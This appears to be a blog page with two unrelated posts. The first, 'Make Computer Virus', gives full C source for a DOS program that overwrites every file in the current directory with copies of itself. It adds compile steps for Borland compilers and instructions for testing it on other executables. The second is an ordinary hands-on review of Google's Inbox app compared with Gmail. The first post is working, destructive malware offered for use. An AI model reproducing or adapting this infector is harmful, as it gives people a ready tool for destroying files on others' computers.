Make Computer Virus

14:05

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

USING BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

USING BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4. All the infected files will be ready to reinfect Keep Visiting itnewsandtechnology.blogspot.com

A Quick Look At Google Inbox

15:00

A few weeks ago I managed to get my hands on Google’s new app, Inbox. So far I love it, but it’s not quite ready to be my go-to email app for a few reasons.

First, let’s start off with the good.

The UI is faster and smoother than the standard Gmail app. It is also more one-hand friendly, which is a necessity if you’re rocking the Nexus 6 monstrosity. For example, when you’re in an email, all you need to do is swipe up to get back to your inbox. The quick email toggle in the bottom right is also fantastic. I also love that Inbox remembers who I last emailed and gives me a quick option to email them again. 1-2

One feature I’m on the fence about is bundling. When you get an email, Inbox will automatically determine what category the email should go in. For example, if you get a flight confirmation it will automatically put it in your travel bundle. There are seven pre-set bundles: travel, purchases, finance, social, updates, forums and promos. You do have the option to create additional bundles with customizable rules. So the daily email update from your mom can go straight to a bundle instead of your inbox.

The reason I don’t like bundles is because I like to be able to see all my emails in the inbox, not in separate groups that I have to open. So right now I have the bundling turned off. The fact that Inbox is smart enough to know the difference between the types of emails I get is pretty awesome/stalkerish.

The snooze feature is great. I have been using a third-party plug-in to handle snoozing, but now that it is a built-in feature, snoozing is much faster and more intuitive. Even the location-based snoozing and reminders work really well.

The desktop version of Inbox is a big step up from Gmail in that it is well-organized and intuitive. Not being taken to a new page when you open an email is a great feature. Instead, the message expands and shrinks right in the fee. Hangouts is also better organized in Inbox; you can have it static on the right side of the screen or you can toggle a drop down. Either way you choose, it looks a thousand times better than Hangouts in Gmail.

Now for all of its great features, there are a few things that don’t work so well.

The biggest potential problem is that, as the app is right now, you can’t use email addresses that end in something other than @gmail.com. That means that I can’t use my work email on Inbox, which forces me to go to Gmail for any work-related emails. This also means that I get notifications from two different apps for the emails. There also isn’t any word on whether Inbox will support POP3 or IMAP, which is a featureGmail 5.0 just got.

Another potentially problematic feature is that there isn’t any way to “select all” emails. Sure, you can’t select all in the Gmail app either, but on the desktop version you can. On both the app and the desktop version of Inbox there is no “select all” tool. One other problem is that you can’t drag and drop emails on the desktop version of Inbox like you can in Gmail, but that is a minor problem for me.

I’ve done a little testing to see how Inbox does in comparison to Gmail 5.0. I tested send and receive time, as well as load time and number of crashes per week. I conducted all the tests on a stock Moto X on the same Wi-Fi network to the same email address. Check out the charts* below to see how they compare.

While Inbox is slightly slower and crashes a little more often, I still think it’s a worthy effort. It’s also still early on for Inbox, and I am looking forward to retesting after the full release to see how it goes. I can see myself using Inbox as my primary email app as soon as they support my work email. Until then I am going to have to stick to Gmail. What do you guys think? I’ve got one invite left for a lucky commenter.
